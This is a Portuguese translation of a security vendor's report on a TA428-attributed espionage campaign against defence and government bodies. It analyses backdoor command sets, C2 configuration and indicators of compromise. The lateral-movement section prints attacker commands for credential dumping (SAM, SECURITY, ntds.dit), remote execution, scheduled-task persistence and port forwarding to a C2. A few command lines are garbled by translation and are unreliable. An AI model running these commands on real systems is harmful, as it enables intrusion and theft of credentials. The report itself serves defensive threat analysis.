Em janeiro de 2022, os especialistas do Kaspersky ICS CERT detectaram uma onda de ataques direcionados a empresas do complexo industrial militar e instituições públicas em vários países do Leste Europeu e no Afeganistão. No decorrer de nossa pesquisa, conseguimos identificar mais de uma dúzia de organizações atacadas.
Os invasores conseguiram penetrar em dezenas de empresas e até sequestrar a infraestrutura de TI de algumas, assumindo o controle dos sistemas usados para gerenciar soluções de segurança.
Uma análise das informações obtidas durante nossa investigação indica que a ciberespionagem foi o objetivo dessa série de ataques.
FAMÍLIAS DE MALWARE: Ladon, PortDoor, nccTrojan, Cotx, DNSep, Logtu, CotSam
ATT&CK IDS: T1560 – Arquivar dados coletados,T1041 – Exfiltração sobre o canal C2,T1203 – Exploração para execução do cliente,T1193 – Anexo de Spearphishing,T1049 – Descoberta de conexões de rede do sistema,T1547 – Execução de inicialização automática de inicialização ou logon,T1592 – Reunir informações do anfitrião da vítima,T1590 – Reunir informações da rede da vítima,T1001 – Ofuscação de dados,T1036 – Mascaramento,T1038 – Sequestro de ordem de pesquisa de DLL,T1055 – Injeção de Processo,T1105 – Transferência de Ferramenta de Entrada,T1210 – Exploração de Serviços Remotos,T1053 – Tarefa/Trabalho Agendado,T1558.001 – Bilhete Dourado
Sumário Executivo
Os invasores penetram na rede corporativa usando e-mails de phishing cuidadosamente elaborados, alguns dos quais contêm informações específicas da organização sob ataque e não estão disponíveis publicamente. Isso pode indicar que os invasores fizeram um trabalho preparatório com antecedência (eles podem ter obtido as informações em ataques anteriores à mesma organização ou seus funcionários ou a outras organizações ou indivíduos associados à organização vítima).
Os documentos do Microsoft Word anexados aos emails de phishing contêm código malicioso que explora a vulnerabilidade CVE-2017-11882. A vulnerabilidade permite que um invasor execute código arbitrário (nos ataques analisados, o módulo principal do malware PortDoor) sem qualquer atividade adicional do usuário.
Uma série anterior de ataques em que o malware PortDoor também foi usado foi descrita por especialistas da Cybereason.
Na nova série de ataques, os invasores usaram seis backdoors diferentes ao mesmo tempo – provavelmente para configurar canais de comunicação redundantes com sistemas infectados caso um dos programas maliciosos fosse detectado e removido por uma solução de segurança. Os backdoors usados fornecem ampla funcionalidade para controlar sistemas infectados e coletar dados confidenciais.
O utilitário de hacking Ladon é usado como a principal ferramenta de movimento lateral. Ele combina varredura de rede, pesquisa e exploração de vulnerabilidades, ataque de senha e outras funcionalidades. Os invasores também usam amplamente os utilitários padrão que fazem parte do sistema operacional Microsoft Windows.
O estágio final do ataque envolve o sequestro do controlador de domínio e o controle total de todas as estações de trabalho e servidores da organização. Depois de obter privilégios de administrador de domínio, os invasores pesquisam e exfiltram documentos e outros arquivos que contêm dados confidenciais da organização atacada para seus servidores hospedados em diferentes países. Esses servidores também são usados como servidores CnC.
Os invasores compactaram arquivos roubados em arquivos ZIP criptografados e protegidos por senha. Após receber os dados coletados, os servidores da CnC encaminharam os arquivos recebidos para um servidor de estágio dois localizado na China.
Os invasores usaram técnicas de sequestro de DLL e esvaziamento de processo extensivamente no ataque para impedir que o software de segurança detectasse o malware.
Nossa análise das informações obtidas durante a investigação sugere que é altamente provável que um grupo de língua chinesa esteja por trás dos ataques.
Nossos pesquisadores identificaram malware e servidores CnC que foram usados anteriormente em ataques atribuídos por outros pesquisadores ao TA428, um grupo APT de língua chinesa.
Acreditamos que a série de ataques que identificamos é altamente provável que seja uma extensão de uma campanha conhecida descrita na pesquisa Cybereason, DrWeb e NTTSecurity e foi atribuída com alto grau de confiança à atividade do APT TA428.
O artigo completo está disponível no Kaspersky Threat Intelligence.
Para obter mais informações, entre em contato com: [email protected].
Detalhes Técnicos
Infecção Inicial
Em janeiro de 2022, os especialistas do Kaspersky ICS CERT descobriram uma nova onda de ataques direcionados a empresas do complexo industrial militar e instituições públicas em vários países da Europa Oriental e Afeganistão.
Os invasores penetraram na rede corporativa usando e-mails de phishing cuidadosamente elaborados. No decorrer de nossa investigação, descobrimos que, em alguns casos, os invasores criam e-mails de phishing usando informações que não estão disponíveis publicamente, como os nomes completos dos funcionários responsáveis pelo tratamento de informações confidenciais, bem como codinomes internos de projetos desenvolvidos por organizações atacadas.
Os emails de phishing contêm documentos do Microsoft Word com código malicioso incorporado que explora a vulnerabilidade CVE-2017-11882. O texto em tais documentos é elaborado usando detalhes específicos sobre a operação da organização, alguns dos quais podem não estar disponíveis publicamente.
Uma análise dos metadados do documento mostrou que, com alto grau de probabilidade, os invasores roubaram o documento (enquanto ainda era legítimo) de outra empresa do complexo industrial militar, após o que o modificaram usando um armamento, um programa projetado para injetar arquivos maliciosos código em documentos.
O documento fornece a justificativa para o trabalho de pesquisa e desenvolvimento relacionado ao desenvolvimento de um novo produto que deve ser conduzido pela empresa atacada como contratante principal.
A vulnerabilidade CVE-2017-11882 existe em versões desatualizadas do Microsoft Equation Editor (um componente do Microsoft Office). Ele permite que um invasor use uma sequência de bytes especialmente criada, mascarada como uma equação, que, quando processada, resultará na execução de código arbitrário em nome do usuário.
No entanto, um documento malicioso ainda pode ser detectado visualmente ao notar um objeto de equação incomum:
A vulnerabilidade permite que o malware obtenha o controle de um sistema infectado sem qualquer atividade adicional do usuário. Por exemplo, não há necessidade de o usuário habilitar macros, o que é exigido pela maioria dos ataques.
O código malicioso incorporado no documento elimina o malware PortDoor. De acordo com a postagem do blog da Cybereason, o malware foi usado anteriormente pelo TA428 APT.
O executável PortDoor é extraído primeiro para o diretório %AppData%\Local\Temp com o nome 8.t, após o qual é movido para o diretório de inicialização do Microsoft Word, %AppData%\Roaming\Microsoft\Word\STARTUP, com um nome que é específico para cada ataque, como strsrv.wll. O malware é instalado como um suplemento do Microsoft Word, permitindo que os invasores obtenham uma posição e controle remoto do sistema infectado.
Após o lançamento, o malware coleta informações gerais sobre o sistema infectado, como nome do computador, endereços IP, etc., e envia as informações coletadas para o servidor CnC. Nos casos em que os resultados da criação de perfil mostram que o sistema é do interesse dos invasores, eles usam a funcionalidade de backdoor no PortDoor para controlar o sistema remotamente e implantar malware adicional.
Implantes de Malware
Os invasores implantam vários backdoors ao mesmo tempo nos sistemas de seu interesse. Muito provavelmente, eles usam a tática para criar canais redundantes de comunicação com um sistema infectado, por exemplo, no caso de um dos programas maliciosos ser removido por uma solução de segurança.
Porta do Porto
Embora a funcionalidade do PortDoor tenha sido descrita na postagem do blog da Cybereason, apresentamos as descobertas de nossa pesquisa para mostrar de que maneira a nova versão do malware é diferente da versão mais antiga.
Após o lançamento, o malware descriptografa a parte de seu arquivo executável que contém informações de configuração:
45.63.27.162 | Endereço do servidor CNC de malware |
443 (0x01BB) | Porta na qual as conexões com o servidor CnC são estabelecidas |
Kr*^j4 | Checksum usado para ativar a execução de carga útil |
A1-45 | ID da vítima enviado pelo malware para o servidor CnC |
78936077.tmp | Arquivo para armazenar o ID de instalação do malware |
0987654321fedcba | Chave AES usada para criptografar dados enviados entre o malware e o servidor CnC |
Depois de descriptografar as informações de configuração, o malware verifica se não está sendo executado em um depurador. Ele também verifica se um arquivo com o nome especificado nas informações de configuração, como 78936077.tmp, existe no diretório de arquivos temporários.
Se o arquivo não existir, ele é criado pelo malware e um valor igual ao produto de um número pseudoaleatório e o tempo decorrido desde a inicialização do sistema é gravado nele. Se o arquivo existir, o malware lê o valor gravado nele anteriormente.
O PortDoor usa o algoritmo acima para criar um ID de sistema infectado exclusivo, que é enviado aos invasores toda vez que o PortDoor se conecta ao servidor CnC. O ID é necessário porque os sistemas infectados na mesma organização podem ter o mesmo ID de vítima e endereço IP externo (porque estão por trás do NAT).
Em seguida, o malware estabelece uma conexão com um servidor CnC usando o endereço e a porta especificados nas informações de configuração. Os dados enviados ao servidor CnC, assim como os dados recebidos em resposta, são criptografados usando AES com uma chave que também é retirada das informações de configuração.
Depois de receber uma resposta do servidor CnC, o malware verifica se contém uma string especial. Na amostra de malware discutida aqui, a string tem o valor “Kr*^j4”. O malware começa a importar dinamicamente as funções da API do Windows por hashes e, posteriormente, executa a carga útil somente se as strings corresponderem. Não se pode dizer com certeza por que os invasores implementaram essa lógica no PortDoor. Uma resposta possível é que esta pode ser uma forma de verificar a compatibilidade das versões do Trojan com o servidor CnC.
Como mencionado acima, o PortDoor importa dinamicamente as funções da API do Windows por hashes. A técnica elimina a necessidade de o agente da ameaça incluir strings com os nomes das funções importadas em seu código para reduzir as chances de o malware ser detectado. O malware primeiro carrega as bibliotecas necessárias na memória, após o que o PortDoor lê a tabela de exportação de uma biblioteca carregada e calcula a soma de verificação do nome de cada função exportada até encontrar uma correspondência com um valor de hash codificado no malware:
Ao concluir a busca e importação das funções necessárias, o malware entra em um loop, aguardando os comandos de seu servidor CnC.
A versão PortDoor identificada na nova série de ataques suporta as seguintes funções:
1 | Verifique se o valor de controle “Kr*^j4” está presente e envie a resposta relevante para o servidor CnC (provavelmente uma verificação de versão) |
8 | Colete informações sobre o sistema infectado: página de código ANSI do Windows, página de código do fabricante original do equipamento (OEM), nome de usuário, nome do computador, versão do sistema operacional, informações da CPU e identificador da vítima (por exemplo, A1-45) |
12 | Grave os dados enviados para o arquivo especificado, adicionando a string “exit\n” no final do arquivo (usado pelos invasores para criar scripts CMD e PowerShell remotamente) |
16 | Shell remoto oculto (inicia cmd.exe com o atributo CREATE_NO_WINDOW), envia a saída para o servidor CnC |
17 | Grave os dados enviados para o arquivo especificado, adicionando alimentação de linha (\n) no final do arquivo |
40 | Anexar os dados enviados ao final do arquivo especificado |
41 | Gravar os dados enviados para um arquivo aberto anteriormente |
42 | Fechar um arquivo aberto anteriormente |
43 | Leia o arquivo especificado |
45 | Fechar um arquivo aberto anteriormente |
48 | Coletar informações sobre os processos em execução no sistema |
49 | Encerrar o processo especificado |
65 | Colete informações sobre a mídia (discos rígidos e dispositivos USB) conectada ao sistema: tipo de mídia, características do dispositivo e espaço livre |
66 | Listar arquivos por máscara no diretório especificado |
67 | Remova o arquivo especificado |
68 | Mova o arquivo especificado |
69 | Inicie o processo especificado no modo oculto (iniciar com o atributo CREATE_NO_WINDOW) |
nccTrojan
No decorrer de nossa investigação, também identificamos o malware nccTrojan em muitos sistemas infectados. O malware já foi usado em ataques atribuídos por especialistas da NTTSecurity ao grupo TA428 APT. Na série de ataques descritos pelos pesquisadores, os invasores usaram a primeira versão do nccTrojan, além das versões 2 e 2.1. Em janeiro de 2022, identificamos uma nova versão aprimorada do nccTrojan – 2.45, conforme evidenciado pelo caminho para o arquivo .pdb e as informações de configuração do malware.
A instalação do nccTrojan é realizada baixando arquivos do servidor PortDoor CnC. O arquivo executável (biblioteca DLL) do nccTrojan é baixado como um arquivo .cab com um nome arbitrário, por exemplo, wam.dll.cab. Para descompactá-lo, os invasores usam o utilitário de expansão do sistema. O arquivo é descompactado em um diretório existente usado por software legítimo, por exemplo, %ProgramData%\Intel\ShaderCache, %Program Files%\Common Files\AV\Norton Security Ultra, %ProgramData%\2GIS, %ProgramData%\Adobe, etc. .
Os invasores também baixam um componente de instalação especial para o sistema infectado. Ele registra a DLL do nccTrojan como um serviço, garantindo que o malware seja carregado automaticamente na inicialização do sistema. Curiosamente, nccTrojan versão 2.45 vem com um instalador que aparentemente é herdado de uma versão anterior (2.43), como evidenciado pelo caminho para o arquivo .pdb.
Após o lançamento, o módulo nccTrojan principal se conecta aos servidores CnC e aguarda um comando que deve ser executado. O malware tenta se conectar a todos os servidores CnC codificados no arquivo executável. Toda a comunicação subsequente é realizada com o servidor que foi o primeiro a responder.
Ao se conectar ao servidor CnC, o malware envia informações gerais sobre o sistema infectado para os invasores, incluindo nome do computador, nome de usuário, endereço IP local, informações de localização do sistema, versão do malware, etc.
Assim como o PortDoor, o nccTrojan possui funcionalidade de backdoor. Assim, os invasores obtêm dois canais para controlar o sistema infectado ao mesmo tempo. Além disso, o nccTrojan possui uma funcionalidade que carrega informações coletadas pelos invasores para o servidor CnC. Entre outras coisas, é usado para roubar arquivos contendo informações confidenciais. Uma lista completa de comandos suportados pelo nccTrojan versão 2.45 é fornecida abaixo:
0, 1, 2 | Inicie a linha de comando (codificação Unicode) e envie a versão do sistema operacional para o servidor CnC |
3 | Execute o comando na linha de comando (codificação Unicode) |
4 | Execute o comando na linha de comando (codificação ASCII) |
5 | Colete informações sobre mídia conectada (discos rígidos e dispositivos USB) |
6 | Envie uma lista de arquivos no diretório especificado |
8 | Inicie o arquivo executável especificado |
10 | Remova o arquivo ou pasta especificado |
12 | Carregar arquivos selecionados do sistema infectado para o servidor CNC |
15, 17 | Baixe arquivos para o sistema infectado do servidor CnC |
19 | Enviar uma lista de processos em execução no sistema |
21 | Matar processo |
23 | Copiar arquivo especificado |
26 | Mover arquivo especificado |
29 | Inicie a linha de comando remota (codificação ASCII) |
Cotx e DNSep
Da mesma forma que o nccTrojan, os invasores baixam backdoors conhecidos como Cotx e DNSep em arquivos .cab para computadores infectados no estágio de movimento lateral. O malware foi descrito em um artigo de pesquisa do Dr.Web , então aqui fornecemos apenas alguns esclarecimentos e atualizações relevantes para a série de ataques que estamos descrevendo.
Os dois programas maliciosos têm funcionalidade idêntica e diferem apenas em algumas partes do código.
Depois de entregar e descompactar o Cotx/DNSep, os invasores usam a técnica de seqüestro de DLL em versões desatualizadas e vulneráveis do McAfee SecurityCenter, a ferramenta Sophos SafeStore Restore e a Intel Common User Interface. A biblioteca maliciosa que é carregada e executada usando a técnica de seqüestro de DLL descriptografa o arquivo executável do backdoor, que está localizado em um arquivo com a extensão .log.
Os arquivos executáveis Cotx são criptografados usando o algoritmo AES256. Eles são descriptografados usando uma chave codificada na biblioteca maliciosa:
Os arquivos executáveis DNSep são descompactados usando a função RtlDecompressBuffer.
Após ser descriptografado, o backdoor é carregado na memória de um processo legítimo usando a técnica de esvaziamento do processo e se conecta ao servidor CnC. No caso do Cotx, o código malicioso é injetado no processo dllhost.exe e no caso do DNSep, é injetado no processo do powercfg.exe, um utilitário de gerenciamento de energia.
Uma lista de comandos suportados pelos backdoors Cotx e DNSep é fornecida abaixo:
1 | Definir ID do bot |
2 | Iniciar linha de comando |
3 | Execute o comando na linha de comando lançada anteriormente |
4 | Colete informações sobre a mídia de dados conectada (discos rígidos e dispositivos USB) |
6 | Carregar arquivo do sistema infectado para o servidor CNC |
7 | Copiar arquivo |
8 | Remover arquivo |
9 | Obter tamanho do arquivo |
10 | Mover arquivo |
1 1 | Definir intervalo de tempo para solicitações ao servidor CNC |
13 | Remover malware |
A variante de Cotx que identificamos é muito semelhante à variante analisada anteriormente pelo Dr.Web e é mais provável que seja sua versão atualizada.
Logtu
O malware Logtu também foi observado em ataques atribuídos ao TA428. A nova versão do Logtu usa importações dinâmicas e nomes de funções criptografadas por XOR para evitar a detecção:
Logtu é baixado, implantado e lançado da mesma forma que Cotx e DNSep, com a seguinte exceção: em vez de usar a técnica de esvaziamento de processo com um processo do sistema, ele é usado com um processo de software legítimo no qual uma biblioteca maliciosa foi carregada.
Uma lista de comandos suportados pelo Logtu é mostrada abaixo:
1 | Tempo de envio desde a inicialização do sistema (calculado usando a função GetTickCount) |
2 | Inicie o interpretador de linha de comando, redirecionando a entrada e a saída para o pipe nomeado |
3 | Gravar dados no arquivo especificado |
4 | Remova o arquivo especificado |
5 | O comando aceita um argumento dividido em duas partes com o | caractere, por exemplo, <a>|<b>. O comando verifica se o arquivo <a> existe – se o arquivo existir, <b>|<tamanho do arquivo> é enviado ao servidor; se o arquivo não existir –<b>|01 é enviado ao servidor, após o qual o arquivo <a>.tut é criado e o caractere “0” é escrito nele 32 vezes |
6 | Aumente o arquivo especificado (por exemplo, <a>) com dados recebidos do servidor CnC de malware. Se o parâmetro relevante for especificado, o malware remove o arquivo <a> e renomeia o arquivo <a>.tu para <a>. |
7 | Enviar data e hora de criação do arquivo para o arquivo especificado |
8 | Leia 4kb do arquivo especificado no deslocamento especificado e envie para o servidor CnC |
9 | Colete informações sobre sistemas de arquivos usados na máquina infectada |
1 0 | Envie dirlist para o diretório especificado (lista de arquivos com tamanhos, tempo de modificação e atributos de arquivo) |
11 | Remova o arquivo especificado |
12 | Mova o arquivo especificado |
13 | Iniciar programa (criar processo) |
14 | Fazer captura de tela |
15 | Envie uma lista de serviços registrados no sistema (nome do serviço, status e nome de exibição) |
16 | Inicie o serviço especificado |
17 | Enviar uma lista de processos em execução |
18 | Encerrar o processo especificado |
19 | Feche a conexão com o servidor CNC |
CotSam
Além de todos os malwares descritos acima, no decorrer de nossa pesquisa nos deparamos com um novo backdoor diferente de todos os outros usados em ataques atribuídos por pesquisadores ao TA428. Devido à sua semelhança com o backdoor Cotx, decidimos nomear o malware Backdoor.Win32.CotSam.
No processo de desenvolvimento do ataque, os invasores usaram dois métodos de implantação do malware ao mesmo tempo.
No primeiro caso, os invasores entregaram uma versão vulnerável do Microsoft Word junto com o malware. O Microsoft Word 2007 foi usado para sistemas de 32 bits e o Microsoft Word 2010 para sistemas de 64 bits. A vulnerabilidade de seqüestro de DLL foi explorada após o carregamento do WINWORD.EXE, resultando no controle sendo passado para a biblioteca maliciosa chamada wwlib.dll, que descriptografa o arquivo OEMPRINT.CAT do diretório atual executando uma operação xor simples com a chave 0xAA:
Em seguida, a função WriteProcessMemory é usada para gravar o arquivo executável descriptografado diretamente na memória do processo svchost.exe.
No segundo caso, os invasores exploraram a vulnerabilidade de seqüestro de DLL no aplicativo applaunch.exe (MD5: 170D73BE3FE846E9070CFAE530F5A31C). Vale a pena notar que a mesma versão do applaunch.exe já havia sido usada por outros grupos chineses para distribuir o malware ShadowPad.
Após o lançamento, o backdoor extrai os parâmetros do servidor proxy da chave de registro HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer e se conecta ao servidor CnC, aguardando comandos.
0x268447744 | Obtenha informações sobre a arquitetura do sistema infectado usando a função GetNativeSystemInfo |
0x268443648 | Colete informações sobre a mídia de dados conectada (discos rígidos e dispositivos USB) |
0x268443649 | Obter uma lista de arquivos no diretório especificado |
0x268443650 | Leia o arquivo especificado |
0x268443651 | Defina o objeto de evento especificado para o estado sinalizado |
0x268443654 | Crie um arquivo no caminho especificado |
0x268443655, 0x268451842 | Grava os dados recebidos do CnC no arquivo especificado |
0x268443656 | Remova o arquivo especificado |
0x268443657 | Inicie o arquivo especificado (criar processo) |
0x268443658 | Verifique se existe um arquivo ou diretório |
0x268464128 | Envie um buffer de dados para o servidor CnC de malware, com dados criptografados usando XOR com a chave 48 |
0x268447745 | Encerrar o processo especificado |
0x268472320 | Inicie o interpretador de linha de comando |
0x26847232 4 | Defina o controle de alta integridade para o processo (S-1-16-12288) |
0x268464129 | Grave os dados recebidos do CNC no arquivo de configuração setting.cfg |
Movimento Lateral
Depois de se estabelecer no sistema inicial, os invasores tentam espalhar o malware para outros computadores na rede corporativa. Nesse estágio, o objetivo dos invasores é obter acesso ao controlador de domínio e assumir o controle total da infraestrutura da organização atacada.
Para iniciar seus utilitários e obter os resultados de sua operação, os invasores usam um shell remoto fornecido pelo malware backdoor. No decorrer de nossa pesquisa, identificamos uma série de comandos executados em sistemas infectados que os invasores inseriram manualmente (isso é indicado tanto pelos intervalos de tempo entre os comandos quanto pela saída de resultados que não são redirecionados para nenhum lugar, exceto a saída padrão).
Coleta de informações sobre a infraestrutura da empresa
Os invasores verificaram principalmente a rede usando o utilitário de console NBTscan, que foi entregue aos computadores das vítimas como um arquivo .cab chamado ace.cab e descompactado usando o utilitário de expansão do sistema:
expandir. exe ás. ás do táxi . exe
ás -n 172,22 . 0 . 0/16 _ _
Em alguns casos, também vimos que a estrutura de hackers Ladon foi usada. A estrutura consiste em vários módulos com diversas funcionalidades de movimento lateral, incluindo:
- Varrendo a rede e encontrando diferentes tipos de dispositivos.
- Identificar e explorar vulnerabilidades nos dispositivos encontrados.
- Quebrando senhas para recursos na rede.
- Procurando por hashes de senha.
- Procurando senhas em arquivos de texto.
- Executando remotamente código arbitrário.
Essas ferramentas permitem que um invasor verifique toda a infraestrutura disponível na rede e identifique os computadores mais vulneráveis na rede.
Os invasores também coletaram informações sobre usuários que trabalham no sistema e suas conexões de rede. Especificamente, eles estavam interessados em conexões RDP:
netstat -no | findstr 3389
netstat -ano | findstr 2589
Distribuição de malware
Os invasores conseguiram se mover lateralmente infectando um sistema após o outro, obtendo acesso a esses sistemas usando resultados de varredura de rede e credenciais de usuário roubadas anteriormente. Eles usaram os utilitários net use e xcopy para estabelecer conexões de rede com sistemas remotos e copiar malware para esses sistemas:
net use \\[IP address]\IPC$ “[password]” /u:“[user name]”
xcopy.exe /s \\[IP address]\c$\windows\web\*” $windir\Web\ /y /e /i /q
Em alguns casos, o malware foi lançado usando um script VBS de código aberto chamado wmic.vbs, que os invasores também baixaram para sistemas remotos:
cscript.exe //nologo wmic.vbs /cmd [IP address] [user name][password] $appdata\ABBYY\Install.exe
O script VBS foi desenvolvido originalmente como uma ferramenta de teste de penetração, mas os agentes de ameaças costumam usá-lo em ataques do mundo real. O script, wmic.vbs, executa comandos em nome de uma conta de usuário com privilégios administrativos usando WMIC (linha de comando de instrumentação de gerenciamento do Windows).
Em outros casos, os invasores criaram uma tarefa no Agendador de Tarefas do Windows para garantir que o malware fosse iniciado automaticamente:
schtasks /create /tn CacheTasks /tr “$appdata\ABBYY\FineReader\WINWORD.EXE” /sc minute /mo 50 /ru “” /f
Nos casos em que os invasores conseguiram alcançar redes fechadas (ou seja, redes que não estão diretamente conectadas à internet), eles transformaram sistemas intermediários (sistemas disponíveis de redes fechadas e ao mesmo tempo conectados à internet) em servidores proxy. Isso permitiu que malware executado em sistemas que faziam parte de redes fechadas se comunicasse com seus servidores CnC. A configuração do redirecionamento de tráfego de rede neste caso foi uma tarefa trivial que também foi realizada usando ferramentas padrão do Windows:
netsh interface portproxy add v4tov4 2589 <IP address> 443
Sequestro de domínio
Depois de obter acesso ao controlador de domínio, os invasores roubaram todo o banco de dados de hashes de senha de usuário do Active Directory. Para fazer isso, eles primeiro salvaram uma cópia dos hives do registro do sistema com um comando especial cmd:
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
Em seguida, eles copiaram o arquivo ntds.dit, que contém o banco de dados do Active Directory, incluindo hashes de senha do usuário. Curiosamente, o arquivo ntds.dit é usado continuamente pelo sistema e não pode ser copiado com ferramentas padrão. Para contornar essa restrição, os invasores usaram um utilitário especial projetado para copiar o arquivo usando o serviço de cópia de sombra de volume do Windows (VSS).
Um exemplo de um comando que inicia o utilitário é mostrado abaixo:
c:\programdata\microsoft\sc64.exe c:\windows\ntds\ntds.dit c:\programdata\microsoft\ntds.dit
Usando o conteúdo do registro do sistema e o arquivo ntds.dit, os invasores conseguiram obter logins e hashes de senha para todos os usuários do domínio. Em seguida, os invasores usaram o cracking de hash para obter credenciais de autenticação para a maioria dos usuários do domínio da organização atacada.
Nos casos em que a infraestrutura de TI de uma organização atacada inclui vários domínios, os invasores analisam as relações de confiança entre os domínios para identificar contas, permitindo que eles se movam lateralmente:
No processo de ataque a um controlador de domínio, os invasores obtiveram, entre outros, o hash de senha do usuário krbtgt (conta de serviço do Active Directory), permitindo que eles conduzissem um ataque conhecido como Golden Ticket. Permitiu que eles emitissem tíquetes Kerberos (TGT) de forma independente e autenticassem em qualquer serviço do Active Directory – tudo isso por tempo ilimitado.
Em um dos casos analisados, a equipe de segurança da organização atacada conseguiu identificar atividades suspeitas no controlador de domínio, após o que as senhas dos usuários cujas contas foram comprometidas foram alteradas. No entanto, os invasores continuaram a agir em nome dessas contas sem problemas ao usar os tíquetes do Kerberos. Isso mostra que, no caso de um ataque Golden Ticket, os métodos padrão de resposta a incidentes são inadequados.
Por fim, vale ressaltar que em um dos casos os invasores também conseguiram acessar o servidor que hospeda o sistema que controla as soluções de segurança e modificar remotamente as configurações das soluções de segurança de endpoint usadas pela organização.
Infraestrutura e Exfiltração de Dados
Como parte de um projeto de pesquisa conjunto, tivemos acesso ao conteúdo de vários servidores CnC hospedados na infraestrutura de um provedor de serviços de hospedagem. Isso nos forneceu informações adicionais sobre a atividade do agente de ameaças.
Depois de obter o controle de uma parte importante da infraestrutura de TI da organização atacada, os invasores passaram para o estágio de roubo de informações confidenciais. Todos os arquivos coletados pelos invasores foram compactados em arquivos ZIP protegidos por senha. Para automatizar o processo, os invasores usaram sua própria versão do utilitário 7-Zip.
Vale ressaltar que os invasores criaram seus arquivos de forma que os nomes dos arquivos no arquivo, bem como seu conteúdo, fossem criptografados. Em alguns casos, essa abordagem pode permitir que eles evitem soluções DLP ao enviar dados confidenciais além do perímetro da organização.
Os arquivos criados foram enviados para um dos servidores CnC de malware estágio um, localizados em diferentes países do mundo. Na maioria dos casos, os servidores do estágio um executam apenas uma função – redirecionar os dados recebidos para um servidor do estágio dois localizado na China. Vale a pena notar que os dados de registro dos servidores do estágio um que vimos incluem o endereço de e-mail do administrador registrado em um recurso chinês, 163.com.
A função de salvar todos os dados redirecionados para o servidor do estágio dois foi habilitada em um dos servidores do estágio um.
Aparentemente, os invasores selecionaram os arquivos manualmente, pois os dados roubados incluíam arquivos de diferentes tipos de diretórios diferentes. Apenas os arquivos que foram selecionados foram carregados para o servidor do estágio um.
Vítimas
Atualmente, sabemos de mais de uma dúzia de vítimas do ataque e os resultados da investigação indicam que este foi um ataque direcionado e, pode-se dizer, pontual. Todas as vítimas identificadas estão associadas à indústria de defesa ou são instituições públicas.
O ataque teve como alvo plantas industriais, escritórios de design e institutos de pesquisa, agências governamentais, ministérios e departamentos em vários países do Leste Europeu (Bielorrússia, Rússia e Ucrânia), bem como no Afeganistão.
Sobre os Atacantes
É altamente provável que um grupo de língua chinesa esteja por trás dos ataques.
- Podemos ver sobreposições significativas em táticas, técnicas e procedimentos (TTPs) com a atividade TA428.
- O ataque analisado usou o mesmo armamento, que incorpora o código de uma exploração CVE-2017-11882 em documentos, como nos ataques TA428 anteriores que visavam empresas no complexo militar-industrial da Rússia.
- Algumas evidências indiretas também sugerem que um grupo de língua chinesa provavelmente está por trás do ataque. Isso inclui:
- o uso de utilitários de hacking que são populares na China, como Ladon,
- o fato de que o servidor CnC de segundo estágio está localizado na China,
- o fato de que as informações de registro do servidor CnC incluem um endereço de e-mail no domínio chinês 163.com especificado nos dados de contato do administrador.
No decorrer de nossa pesquisa, analisamos 59 sessões em que os invasores se conectaram a sistemas infectados (importantemente, esses foram casos em que os invasores se conectaram a sistemas infectados e inseriram comandos manualmente, em vez daqueles associados ao malware executado automaticamente). Acontece que a hora do dia em que essas sessões ocorreram está dentro do intervalo das 8h às 17h (com exceção de um caso) no fuso horário GMT+8, onde a China (assim como alguns outros países) está localizada.
Acreditamos que a série de ataques que identificamos é uma extensão da campanha conhecida descrita na pesquisa da Cybereason , DrWeb e NTTSecurity. Isso é apoiado por vários fatos e uma grande quantidade de evidências que identificamos, desde a escolha das vítimas até os servidores CnC correspondentes.
Os autores da pesquisa mencionada acima atribuem os ataques que descrevem à atividade de grupos APT de língua chinesa, apontando o TA428 como um dos perpetradores mais prováveis.
Uma análise das informações obtidas na investigação sugere que a ciberespionagem foi o objetivo da série de ataques em questão.
Conclusões
Os resultados de nossa pesquisa demonstram que o spear phishing continua sendo uma das ameaças mais relevantes para empresas industriais e instituições públicas. Os invasores usaram principalmente malware de backdoor conhecido, bem como técnicas padrão para movimentação lateral e evasão de soluções antivírus. Ao mesmo tempo, eles conseguiram penetrar em dezenas de empresas e até mesmo assumir o controle de toda a infraestrutura de TI e das soluções de segurança de TI de algumas das organizações atacadas.
A série de ataques que descobrimos não é a primeira da campanha e, dado que os invasores atingem um certo grau de sucesso, acreditamos que é altamente provável que eles continuem a realizar ataques semelhantes no futuro. As empresas industriais e as instituições públicas devem tomar medidas abrangentes para repelir esses ataques com sucesso.
Ainda não estamos encerrando nossa investigação e divulgaremos informações sobre novas descobertas à medida que elas aparecerem.
Se você tiver dúvidas ou comentários após ler este relatório ou se tiver informações adicionais relevantes para a campanha maliciosa descrita nele, não hesite em entrar em contato conosco enviando um e-mail para [email protected].
Recomendações
- Certifique-se de que o software de segurança com suporte para gerenciamento centralizado de políticas de segurança esteja instalado em todos os servidores e estações de trabalho e mantenha os bancos de dados antivírus e os módulos de programa de suas soluções de segurança atualizados.
- Verifique se todos os componentes do software de segurança estão ativados em todos os sistemas e se existe uma política que exige que a senha do administrador seja inserida no caso de tentativas de desativar a proteção.
- Verifique se as políticas do Active Directory incluem restrições nas tentativas do usuário de efetuar login nos sistemas. Os usuários só devem ter permissão para fazer login nos sistemas que precisam acessar para desempenhar suas responsabilidades de trabalho.
- Restringir conexões de rede, incluindo VPN, aos sistemas na rede OT; bloquear conexões em todas as portas cujo uso não seja exigido pelo processo industrial.
- Na medida do possível, limite as relações de confiança entre os domínios da organização e minimize o número de usuários com privilégios de administrador de domínio.
- Treine os funcionários da empresa para trabalhar com segurança com os recursos da internet e o canal de comunicação corporativa, como e-mail. Especificamente, explique as possíveis consequências de baixar e executar arquivos de fontes não verificadas. Concentre-se na identificação de emails de phishing e em práticas seguras relacionadas ao trabalho com documentos do Microsoft Office.
- Use contas com privilégios de administrador local e administrador de domínio somente quando isso for necessário para executar as responsabilidades do trabalho.
- Restrinja a capacidade dos programas de obter privilégios SeDebugPrivilege (quando possível).
- Imponha uma política de senha que tenha requisitos de complexidade de senha e exija que as senhas sejam alteradas regularmente.
- Considere o uso de serviços de classe de Detecção e Resposta Gerenciada para obter acesso rápido ao conhecimento e experiência de alto nível de profissionais de segurança.
- Use soluções de segurança ICS dedicadas. O Kaspersky Industrial CyberSecurity protege com eficiência os endpoints industriais e permite o monitoramento de rede na rede OT para identificar e bloquear atividades maliciosas.
Anexo I – Indicadores de Comprometimento
Nota: Os indicadores fornecidos nesta seção estavam atualizados e válidos no momento da publicação.
Arquivo MD5
0A2E7C01B847D3B1C6EEBE6AF63DC140
0A945587E0E11A89D72B4C0B45A4F77E
10818F47AA4DC2B39A7B5EEF652F3C68
1157132504BE3BF556A80DB8A2FF9395
